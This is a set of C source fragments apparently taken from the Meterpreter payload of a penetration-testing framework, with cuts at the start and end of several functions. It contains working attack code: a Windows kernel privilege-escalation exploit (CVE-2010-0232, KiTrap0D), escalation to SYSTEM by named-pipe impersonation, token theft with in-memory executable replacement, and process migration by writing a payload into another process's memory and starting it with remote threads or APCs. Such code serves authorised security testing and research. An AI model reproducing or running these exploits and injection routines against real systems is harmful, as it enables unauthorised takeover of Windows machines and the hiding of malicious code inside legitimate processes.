dwKernelStack[0] = (DWORD)&dwKernelStack[8]; // ESP dwKernelStack[1] = (DWORD)NtCurrentTeb(); // TEB dwKernelStack[2] = (DWORD)NtCurrentTeb(); // TEB dwKernelStack[7] = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS hKernel = (HMODULE)dwKernelBase; VdmTib.Size = dwMinimumExpectedVdmTibSize; *NtCurrentTeb()->Reserved4 = &VdmTib; // Initialize the VDM Subsystem... elevator_kitrap0d_initvdmsubsystem(); VdmTib.Size = dwMinimumExpectedVdmTibSize; VdmTib.VdmContext.SegCs = 0x0B; VdmTib.VdmContext.Esi = (DWORD)&dwKernelStack; VdmTib.VdmContext.Eip = dwKernelBase + dwOffset; VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK; *NtCurrentTeb()->Reserved4 = &VdmTib; // Allow thread initialization to complete. Without is, there is a chance // of a race in KiThreadInitialize's call to SwapContext Sleep( 1000 ); // Trigger the vulnerable code via NtVdmControl()... while( VdmTib.Size++ < dwMaximumExpectedVdmTibSize ) pNtVdmControl( VdmStartExecution, NULL ); } while( 0 ); // Unable to find correct VdmTib size. ExitThread('VTIB'); }
/* * Worker thread for named pipe impersonation. Creates a named pipe and impersonates * the first client which connects to it. */ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread) { DWORD dwResult = ERROR_ACCESS_DENIED; HANDLE hServerPipe = NULL; HANDLE hToken = NULL; HANDLE hSem = NULL; char * cpServicePipe = NULL; Remote * remote = NULL; BYTE bMessage[128] = {0}; DWORD dwBytes = 0; do { if (!thread) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS); } cpServicePipe = (char *)thread->parameter1; remote = (Remote *)thread->parameter2; hSem = (HANDLE)thread->parameter3; if (!cpServicePipe || !remote) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments", ERROR_BAD_ARGUMENTS); } dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe); // create the named pipe for the client service to connect to hServerPipe = CreateNamedPipe(cpServicePipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (!hServerPipe) { BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed"); } while (TRUE) { if (event_poll(thread->sigterm, 0)) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD); } //signal the client that the pipe is ready if (hSem) { if (!ReleaseSemaphore(hSem, 1, NULL)) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed", ERROR_DBG_TERMINATE_THREAD); } } // wait for a client to connect to our named pipe... if (!ConnectNamedPipe(hServerPipe, NULL)) { if (GetLastError() != ERROR_PIPE_CONNECTED) continue; } dprintf("[ELEVATE] pipethread. got client conn."); // we can't impersonate a client untill we have performed a read on the pipe... if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) { CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed"); } // impersonate the client! if (!ImpersonateNamedPipeClient(hServerPipe)) { CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed"); } // get a handle to this threads token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) { CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed"); } // now we can set the meterpreters thread token to that of our system // token so all subsequent meterpreter threads will use this token. core_update_thread_token(remote, hToken); dwResult = ERROR_SUCCESS; break; } } while (0); if (hServerPipe) { DisconnectNamedPipe(hServerPipe); CLOSE_HANDLE(hServerPipe); } dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult); return dwResult; }
/* * Elevate from local admin to local system via Named Pipe Impersonation. We spawn a cmd.exe under local * system which then connects to our named pipe and we impersonate this client. This can be done by an * Administrator without the need for SeDebugPrivilege. Works on 2000, XP, 2003 and 2008 for all local * administrators. On Vista and 7 it will only work if the host process has been elevated through UAC * first. Does not work on NT4. */ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) { DWORD dwResult = ERROR_SUCCESS; char * cpServiceName = NULL; THREAD * pThread = NULL; HANDLE hSem = NULL; char cServiceArgs[MAX_PATH] = {0}; char cServicePipe[MAX_PATH] = {0}; OSVERSIONINFO os = {0}; do { os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if (!GetVersionEx(&os)) { BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed") } // filter out Windows NT4 if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) { SetLastError(ERROR_ACCESS_DENIED); BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.") } cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); if (!cpServiceName) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments", ERROR_BAD_ARGUMENTS); } _snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH, "\\\\.\\pipe\\%s", cpServiceName); _snprintf_s(cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe); hSem = CreateSemaphore(NULL, 0, 1, NULL); pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); if (!pThread) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed", ERROR_INVALID_HANDLE); } if (!thread_run(pThread)) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed", ERROR_ACCESS_DENIED); } //wait for the thread to create the pipe(if it times out terminate) if (hSem) { if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed", ERROR_ACCESS_DENIED); } } else { Sleep(500); } // start the elevator service (if it doesnt start first time we need to create it and then start it). if (service_start(cpServiceName) != ERROR_SUCCESS) { dprintf("[ELEVATE] service starting failed, attempting to create"); if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) { BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed"); } dprintf("[ELEVATE] creation of service succeeded, attempting to start"); // we dont check a return value for service_start as we expect it to fail as cmd.exe is not // a valid service and it will never signal to the service manager that is is a running service. service_start(cpServiceName); } // signal our thread to terminate if it is still running thread_sigterm(pThread); // and wait for it to terminate... thread_join(pThread); // get the exit code for our pthread dprintf("[ELEVATE] dwResult before exit code: %u", dwResult); if (!GetExitCodeThread(pThread->handle, &dwResult)) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed", ERROR_INVALID_HANDLE); } dprintf("[ELEVATE] dwResult after exit code: %u", dwResult); } while (0);
/* * Executes a process using the supplied parameters, optionally creating a * channel through which output is filtered. * * req: TLV_TYPE_PROCESS_PATH - The executable to launch * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass * req: TLV_TYPE_FLAGS - The flags to execute with */ DWORD request_sys_process_execute(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv inMemoryData; BOOL doInMemory = FALSE; PROCESS_INFORMATION pi; STARTUPINFO si; HANDLE in[2], out[2]; PCHAR path, arguments, commandLine = NULL; DWORD flags = 0, createFlags = 0; BOOL inherit = FALSE; HANDLE token, pToken; char * cpDesktop = NULL; DWORD session = 0; LPVOID pEnvironment = NULL; LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL; LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL; HMODULE hUserEnvLib = NULL; ProcessChannelContext * ctx = NULL; dprintf( "[PROCESS] request_sys_process_execute" ); // Initialize the startup information memset( &pi, 0, sizeof(PROCESS_INFORMATION) ); memset( &si, 0, sizeof(STARTUPINFO) ); si.cb = sizeof(STARTUPINFO); // Initialize pipe handles in[0] = NULL; in[1] = NULL; out[0] = NULL; out[1] = NULL; do { // No response? We suck. if (!response) { break; } // Get the execution arguments arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; createFlags |= CREATE_SUSPENDED; } if (flags & PROCESS_EXECUTE_FLAG_DESKTOP) { do { cpDesktop = (char *)malloc(512); if (!cpDesktop) break; memset(cpDesktop, 0, 512); lock_acquire(remote->lock); _snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name); lock_release(remote->lock); si.lpDesktop = cpDesktop; } while (0); } // If the remote endpoint provided arguments, combine them with the // executable to produce a command line if (path && arguments) { size_t commandLineLength = strlen(path) + strlen(arguments) + 2; if (!(commandLine = (PCHAR)malloc(commandLineLength))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } _snprintf(commandLine, commandLineLength, "%s %s", path, arguments); } else if (path) { commandLine = path; } else { result = ERROR_INVALID_PARAMETER; break; } // If the channelized flag is set, create a pipe for stdin/stdout/stderr // such that input can be directed to and from the remote endpoint if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; PoolChannelOps chops; Channel *newChannel; // Allocate the channel context if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memset(&chops, 0, sizeof(PoolChannelOps)); // Initialize the channel operations dprintf("[PROCESS] context address 0x%p", ctx); chops.native.context = ctx; chops.native.write = process_channel_write; chops.native.close = process_channel_close; chops.native.interact = process_channel_interact; chops.read = process_channel_read; // Allocate the pool channel if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process channel_set_type(newChannel, "process"); // Allocate the stdin and stdout pipes if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0))) { channel_destroy(newChannel, NULL); newChannel = NULL; free(ctx); result = GetLastError(); break; } // Initialize the startup info to use the pipe handles si.dwFlags |= STARTF_USESTDHANDLES; si.hStdInput = in[0]; si.hStdOutput = out[1]; si.hStdError = out[1]; inherit = TRUE; createFlags |= CREATE_NEW_CONSOLE; // Set the context to have the write side of stdin and the read side // of stdout ctx->pStdin = in[1]; ctx->pStdout = out[0]; // Add the channel identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); } // If the hidden flag is set, create the process hidden if (flags & PROCESS_EXECUTE_FLAG_HIDDEN) { si.dwFlags |= STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; createFlags |= CREATE_NO_WINDOW; } // Should we create the process suspended? if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED) createFlags |= CREATE_SUSPENDED; if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN) { // If there is an impersonated token stored, use that one first, otherwise // try to grab the current thread token, then the process token if (remote->thread_token) { token = remote->thread_token; dprintf("[execute] using thread impersonation token"); } else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token)) { OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token); } dprintf("[execute] token is 0x%.8x", token); // Duplicate to make primary token (try delegation first) if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken)) { if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken)) { result = GetLastError(); dprintf("[execute] failed to duplicate token 0x%.8x", result); break; } } hUserEnvLib = LoadLibrary("userenv.dll"); if (NULL != hUserEnvLib) { lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock"); lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock"); if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE)) { createFlags |= CREATE_UNICODE_ENVIRONMENT; dprintf("[execute] created a duplicated environment block"); } else { pEnvironment = NULL; } } // Try to execute the process with duplicated token if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi)) { LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL; HANDLE hAdvapi32 = NULL; wchar_t * wcmdline = NULL; wchar_t * wdesktop = NULL; size_t size = 0; result = GetLastError(); // sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only // available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO. if (result == ERROR_PRIVILEGE_NOT_HELD) { do { hAdvapi32 = LoadLibrary("advapi32.dll"); if (!hAdvapi32) { break; } pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW"); if (!pCreateProcessWithTokenW) { break; } // convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)... size = mbstowcs(NULL, commandLine, 0); if (size == (size_t)-1) { break; } wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t)); mbstowcs(wcmdline, commandLine, size); if (si.lpDesktop) { size = mbstowcs(NULL, (char *)si.lpDesktop, 0); if (size != (size_t)-1) { wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t)); mbstowcs(wdesktop, (char *)si.lpDesktop, size); si.lpDesktop = (LPSTR)wdesktop; } } if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi)) { result = GetLastError(); dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result); break; } result = ERROR_SUCCESS; } while (0); if (hAdvapi32) { FreeLibrary(hAdvapi32); } SAFE_FREE(wdesktop); SAFE_FREE(wcmdline); } else { dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result); break; } } if (lpfnDestroyEnvironmentBlock && pEnvironment) { lpfnDestroyEnvironmentBlock(pEnvironment); } if (NULL != hUserEnvLib) { FreeLibrary(hUserEnvLib); } } else if (flags & PROCESS_EXECUTE_FLAG_SESSION) { typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken); WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL; HANDLE hToken = NULL; HMODULE hWtsapi32 = NULL; BOOL bSuccess = FALSE; DWORD dwResult = ERROR_SUCCESS; do { // Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it. hWtsapi32 = LoadLibraryA("wtsapi32.dll"); session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION); if (session_id(GetCurrentProcessId()) == session || !hWtsapi32) { if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed"); } } else { pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken"); if (!pWTSQueryUserToken) { BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed"); } if (!pWTSQueryUserToken(session, &hToken)) { BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed"); } if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed"); } } } while (0); if (hWtsapi32) { FreeLibrary(hWtsapi32); } if (hToken) { CloseHandle(hToken); } result = dwResult; if (result != ERROR_SUCCESS) { break; } } else { // Try to execute the process if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { result = GetLastError(); break; } } // // Do up the in memory exe execution if the user requested it // if (doInMemory) { // // Unmap the dummy executable and map in the new executable into the // target process // if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, inMemoryData.buffer)) { result = GetLastError(); break; } // // Resume the thread and let it rock... // if (ResumeThread(pi.hThread) == (DWORD)-1) { result = GetLastError(); break; } } // check for failure here otherwise we can get a case where we // failed but return a process id and this will throw off the ruby side. if (result == ERROR_SUCCESS) { // if we managed to successfully create a channelized process, we need to retain // a handle to it so that we can shut it down externally if required. if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED && ctx != NULL) { dprintf("[PROCESS] started process 0x%x", pi.hProcess); ctx->pProcess = pi.hProcess; } // Add the process identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess); CloseHandle(pi.hThread); } } while (0); // Close the read side of stdin and the write side of stdout if (in[0]) { CloseHandle(in[0]); } if (out[1]) { CloseHandle(out[1]); } // Free the command line if necessary if (path && arguments && commandLine) { free(commandLine); } if (cpDesktop) { free(cpDesktop); } packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * (CVE-2010-0232) */ DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hVdm = NULL; HANDLE hThread = NULL; LPVOID lpServiceBuffer = NULL; LPVOID lpRemoteCommandLine = NULL; char cWinDir[MAX_PATH] = {0}; char cVdmPath[MAX_PATH] = {0}; char cCommandLine[MAX_PATH] = {0}; DWORD dwExitCode = 0; DWORD dwKernelBase = 0; DWORD dwOffset = 0; DWORD dwServiceLength = 0; do { // only works on x86 systems... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. Unsuported platform", ERROR_BAD_ENVIRONMENT ); dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting..." ); dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS ); // 1. first get a file path to a suitable exe... if( !elevate_via_exploit_getpath( cVdmPath, MAX_PATH ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND ); // 2. Scan kernel image for the required code sequence, and find the base address... if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE ); // 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable... dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" ); if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE ); // 4. Use RDI to inject the elevator dll into the remote NTVDM process... // Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique. _snprintf_s( cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/KITRAP0D /VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset ); // alloc some space and write the commandline which we will pass to the injected dll... lpRemoteCommandLine = VirtualAllocEx( hVdm, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed" ); if( !WriteProcessMemory( hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed" ); // inject the dll... hThread = LoadRemoteLibraryR( hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine ); if( !hThread ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" ); // 5. Wait for the thread to complete dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread ); WaitForSingleObject( hThread, INFINITE ); // pass some information back via the exit code to indicate what happened. GetExitCodeThread( hThread, &dwExitCode ); dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode ); switch( dwExitCode ) { case 'VTIB': // A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that // matches what the kernel expects. // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode ); case 'NTAV': // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl() // expects to be present. // The exploit thread reports it didn't work. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode ); case 'VDMC': // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed. // It's entirely undocumented, so you'll have to use kd to step through it and find out why // it's failing. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode ); case 'LPID': // This exploit will try to transplant the token from PsInitialSystemProcess on to an // unprivileged process owned by you. // PsLookupProcessByProcessId() failed when trying to find your process. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode ); case FALSE: // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found? // Verify the vdmexploit.dll file exists, is readable and is in a suitable location. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode ); case 'w00t': // This means the exploit payload was executed at ring0 and succeeded. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS ); default: // Unknown error. Sorry, you're on your own. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode ); } } while( 0 ); if( hVdm ) { TerminateProcess( hVdm, 0 ); CloseHandle( hVdm ); } if( hThread ) CloseHandle( hThread ); return dwResult; }
/*! * @brief Migrate the meterpreter server from the current process into another process. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @param pResult Pointer to the memory that will receive the result. * @returns Indication of whether the server should continue processing or not. */ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hEvent = NULL; BYTE * lpPayloadBuffer = NULL; LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; LPBYTE lpUuid = NULL; LPCOMMONMIGRATECONTEXT ctx = NULL; DWORD ctxSize = 0; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; DWORD dwDestinationArch = 0; MetsrvConfig* config = NULL; DWORD configSize = 0; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the process identifier to inject into dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Get the target process architecture to inject into dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); // Get handles to the updated UUIDs if they're there lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); // Get the migrate stub information dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN); lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) { if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } } CloseHandle(hToken); } // Open the process so that we can migrate into it hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") } // get the existing configuration dprintf("[MIGRATE] creating the configuration block"); remote->config_create(remote, lpUuid, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); if (remote->transport->get_migrate_context != NULL) { dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx); } else { dwResult = get_migrate_context(&ctxSize, &ctx); } if (dwResult != ERROR_SUCCESS) { dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult); break; } // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); } // Duplicate the event handle for the target process if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed"); } dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed"); } // Calculate the address of the payload... ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed"); } // Write the migrate context to memory... dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize); if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed"); } // Write the migrate payload to memory... dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength); if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed"); } // finally write the configuration stub dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize); if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed"); } free(ctx); // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); } } dwResult = ERROR_SUCCESS; } while (0); SAFE_FREE(config); // If we failed and have not sent the response, do so now if (dwResult != 